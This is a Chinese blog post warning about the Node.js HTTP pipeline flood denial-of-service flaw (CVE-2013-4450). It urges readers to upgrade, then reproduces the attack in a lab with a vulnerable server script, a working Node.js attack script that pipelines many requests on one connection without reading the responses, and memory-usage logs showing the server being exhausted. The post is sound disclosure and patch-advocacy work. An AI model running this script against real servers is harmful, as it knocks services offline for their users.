Node.js http 管道拒绝服务漏洞

最近在写一些网络安全方面的东西,想到近期Node.js有次重大升级,想顺便提醒下各位将Node.js部署在生产环境下的TX,务必将版本升级到0.8.26和0.10.21。

之前我的老同学@pathletboy已经用非常漂亮的golang攻击实例警告各位Noe.js站长有条件的快点升级,下面是原文地址:
http://cnodejs.org/topic/52623dc29df724eb6d00808b

站长@suqian 也发起了嘲讽贴,说cnode已经升级,欢迎前来攻击吧,可见这次的http管道漏洞影响还是非常大的,那他究竟有多少威力呢?下面我们进行一个简单的模拟攻击实验,看看这个漏洞究竟有多厉害。

我们的测试机器和攻击机器都是2CPU 4G内存的云服务器,系统linux 2.6.8 64bit,node版本0.10.7,网络环境是公司内网。

我们先启动服务器脚本:

var http = require(‘http’);
var buf = new Buffer(10241024);//1kb buffer
buf.fill(‘h’);
http.createServer(function (request, response) {
response.writeHead(200, {‘Content-Type’: ‘text/plain’});
response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
console.log(process.memoryUsage());
},1000
60)
这段脚本我们对请求都会响应1KB的buffer字符h,同时每分钟会打印出当前Node.js进程所消耗掉的内存。在攻击服务器上,我们部署如下脚本:

var net = require(‘net’);
var attack_str = ‘GET / HTTP/1.1\r\nHost: 192.168.28.4\r\n\r\n’;//模拟get请求头
var i = 1000000;//10W次的发送
var client = net.connect({port: 8124, host:’192.168.28.4’},//28.4是上面那台服务器的ip地址
function() { //‘connect’ listener
while(i–){
client.write(attack_str);
}
});
client.on(‘error’, function(e) {
console.log(‘attack success’);
});
我们在一个tcp连接上模拟10W次http请求,get获取这1kb的buffer字符,但是我们并不消费它,不监听client的data事件,当攻击脚本运行结束后,我们看下运行10分钟Node.js服务器打印的内存消耗信息情况:

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }
从我们启动web服务到攻击结束,我们的web服务器内存占用多了近200倍消耗,我们利用top命令打印出服务器当前剩余内存,发现所剩无几:

Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers
更可怕的是,这部分内存还不会主动释放,除非重启Node.js进程才会,一个tcp连接已经有这么强大的威力,如果再多发送10W次,或者有2个恶意连接同时攻击,我们的Node.js web服务器终将会因为物理内存耗尽进入频繁交换失去响应,无法提供服务了。

所以此次的http漏洞非常紧急,请各位加紧升级您的Node.js版本。

关于漏洞的原因主要是,由于客户端不触发drain这样的排泄事件,而Node.js服务器却一直在往stream中写入数据,从而造成物理内存一直无法释放,最终耗尽。

升级日志:
http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos/